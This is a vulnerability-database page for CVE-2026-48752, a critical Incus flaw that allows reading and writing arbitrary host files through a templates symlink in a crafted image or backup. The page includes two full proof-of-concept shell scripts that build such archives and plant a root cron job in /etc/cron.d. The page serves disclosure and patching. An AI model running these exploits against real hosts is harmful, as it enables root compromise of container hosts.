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Response snapshot Nov 6, 2026, 00:56 UTC

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VulnerabilityCVE-2026-48752

Incus has arbitrary file read+write on host via templates/ symlink in malicious image

A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...)

Published Updated

At a glance

Exploited
Not known
Severity
9.9 Critical (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/lxc/incus/v7/cmd/incusd: 7.2.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-vxp5-584q-c479 (opens a new tab)

What happened

Summary

A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.

Continue reading

For instance backups, internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

Malicious container image

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
 rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat "${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
 description: PoC templates symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

# read
#incus config template show afrw-image-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc

Malicious instance backup

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
 rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/backup"
cat "${tmpdir}/img/backup/index.yaml"
name: afrw-backup-templates-symlink
backend: dir
pool: default
type: container
optimized: false
__EOF__

mkdir "${tmpdir}/img/backup/container"
cat "${tmpdir}/img/backup/container/backup.yaml"
container:
 name: afrw-backup-templates-symlink
 architecture: x86_64
 type: container
 status: Stopped
 status_code: 102
 stateful: false
 ephemeral: false
 profiles:
 - default
 config:
 volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
 expanded_config:
 volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
 devices: {}
 expanded_devices:
 root:
 path: /
 pool: default
 type: disk
 created_at: "2024-01-01T00:00:00Z"
 last_used_at: "2024-01-01T00:00:00Z"
volume:
 name: afrw-backup-templates-symlink
 type: container
 content_type: filesystem
 config: {}
pool:
 name: default
 driver: dir
 config: {}
__EOF__

cat "${tmpdir}/img/backup/container/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
 description: afrw-backup-templates-symlink
__EOF__

mkdir "${tmpdir}/img/backup/container/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar
incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink

incus config template ls afrw-backup-templates-symlink

# read
#incus config template show afrw-backup-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
#incus config template edit afrw-templates-symlink poc

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Affected package ranges reported by GitHub: github.com/lxc/incus/v7/cmd/incusd: < 7.2.0

Scores and how they were measured

CVSS base severity

9.9

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-vxp5-584q-c479 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vxp5-584q-c479, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 5). Incus has arbitrary file read+write on host via templates/ symlink in malicious image (CVE-2026-48752). https://kevwire.com/record/CVE-2026-48752

MLA

"Incus has arbitrary file read+write on host via templates/ symlink in malicious image (CVE-2026-48752)." KEVWire, 5 Nov. 2026, kevwire.com/record/CVE-2026-48752.

Chicago

KEVWire. "Incus has arbitrary file read+write on host via templates/ symlink in malicious image (CVE-2026-48752)." Last modified November 5, 2026. https://kevwire.com/record/CVE-2026-48752.

Evidence summary (plain text)

Incus has arbitrary file read+write on host via templates/ symlink in malicious image (Jun 26, 2026).
A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.

For instance backups, internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.
CVSS 9.9 (version 3.1; evidence as of Nov 5, 2026; https://github.com/advisories/GHSA-vxp5-584q-c479).
Sources:
GitHub-reviewed advisory GHSA-vxp5-584q-c479: https://github.com/advisories/GHSA-vxp5-584q-c479
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-48752.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 6, 2026, 00:35 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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Record details

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